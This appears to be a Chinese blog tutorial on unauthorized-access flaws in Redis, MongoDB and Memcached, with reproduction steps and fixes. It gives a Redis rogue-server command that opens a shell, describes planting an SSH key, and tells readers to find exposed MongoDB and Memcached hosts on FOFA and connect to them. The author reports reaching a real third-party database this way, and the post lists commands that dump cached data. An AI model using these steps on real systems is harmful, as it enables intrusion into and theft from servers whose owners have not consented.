• Redis,MongoDB,Memcached未授权访问漏洞(及其修复方法)


     一. Redis

          Redis 默认情况下,会绑定在 0.0.0.0:6379 ,如果没有进⾏采⽤相关的策略,⽐如添加防 ⽕墙规则避免其他⾮信任来源 ip 访问等,这样将会将 Redis 服务暴露到公⽹上,如果在没有设 置密码认证(⼀般为空)的情况下,会导致任意⽤户在可以访问⽬标服务器的情况下未授权Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利⽤ Redis ⾃身的提供的config 命令,可以进⾏写⽂件操作,攻击者可以成功将⾃⼰的ssh公钥写⼊⽬标服务器的 /root/.ssh ⽂件夹的authotrized_keys ⽂件中,进⽽可以使⽤对应私钥直接使⽤ssh服务 登录⽬标服务器。

    漏洞复现

    首先我们需要用docker启动一个靶机,命令如下

    1. 进⼊⽬录:cd /vulhub-master/redis/4-unacc
    2. 启动:docker-compose up -d
    3. 检查:docker-compose ps

    然后在kali上面安装redis程序,命令为

    1. #安装redis
    2. apt-get install redis
    3. #redis链接
    4. redis-cli -h x.x.x.x -p 6379

    连接后会弹出以下语言,直接连接上了,不需要认证,就说明存在未授权访问漏洞

    接着我们下载redis-rogue-server.py来获取shell,下载连接https://github.com/n0b0dyCN/redis-rogue-server,下载后使用python3启动,然后就可以获取shell了,执行命令如下

    python3 redis-rogue-server.py --rhost x.x.x.x --lhost x.x.x.x

    二.MongoDB

    开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的⽤户可以通过默认端⼝⽆

    需密码对数据库任意操作(增、删、改、查⾼危动作)⽽且可以远程访问数据库。

    漏洞复现

    首先去fofa搜索端口为27017的ip,然后直接用navicat去尝试连接即可

    首先打开navicat,点击连接,选择MongoDB,这里的主机填写我们查到的ip,连接名随便填写,然后测试连接

    这里我直接找到了一个可以连接的

    如何修复

    1. 为MongoDB添加认证:MongoDB启动时添加 --auth 参数、为MongoDB添加⽤户。

    2. MongoDB ⾃身带有⼀个HTTP服务和并⽀持REST接⼝。在2.6以后这些接⼝默认是关闭        的。mongoDB默认会使⽤默认端⼝监听web服务,⼀般不需要通过web⽅式进⾏远程管          理,建议禁⽤。修改配置⽂件或在启动的时候选择 –nohttpinterface 参数                           nohttpinterface=false 。

    3. 启动时加⼊参数 --bind_ip 127.0.0.1 或在 /etc/mongodb.conf ⽂件中添加以下内容:

    bind_ip = 127.0.0.1 。

    三.Memcached

          Memcached 是⼀套常⽤的 key-value 分布式⾼速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公⽹开放的Memcache服务很容易被攻击者扫描发现,攻击者⽆需认证通过命令交互可直接读取 Memcached中的敏感信息。  

    漏洞复现

    首先我们需要下载Memcached程序,下载链接如下

    https://www.runoob.com/memcached/window-install-memcached.html

    下载后我们利用如下命令安装并启动Memcached漏洞程序

    1. memcached.exe -d install
    2. memcached.exe -d start

    然后用telnet去连接有memcached的11211 端口,这里我们去fofa中搜索端口为11211的ip,然后尝试连接,出现如下字样就是连接成功了

    然后可以使用命令

    1. stats //查看memcache服务状态
    2. stats items //查看所有items
    3. stats cachedump 39 0 //获得缓存key
    4. get :state:264861539228401373:261588 //通过key读取相应value获得实际缓存内容,造
    5. 成敏感信息泄露

    接下来,我们使⽤Nmap程序的脚本进⾏漏洞扫描,发现也可以扫出来

    nmap -p 11211 --script memcached-info x.x.x.x

    如何修复

    1. 设置Memchached只允许本地访问。

    2. 禁⽌外⽹访问Memcached 11211端⼝。

    3. 配置访问控制策略。

    4. 最⼩化权限运⾏。

    5. 修改默认端⼝等。

  • 相关阅读:
    Redis:持久化RDB与AOF
    3d激光SLAM:LIO-SAM框架---位姿融合输出
    滚珠螺母在工业机器人中的应用优势
    1-图像读取
    kubernetes 安全
    MJ 种的摄影提示词关键字
    1143 多少个Fibonacci数
    C++11写watchdog
    使用百度飞桨EasyDL实现AI文章自动分类
    城市内涝监测预警系统:有效降低内涝风险,保障城市安全
  • 原文地址:https://blog.csdn.net/C233333235/article/details/141065913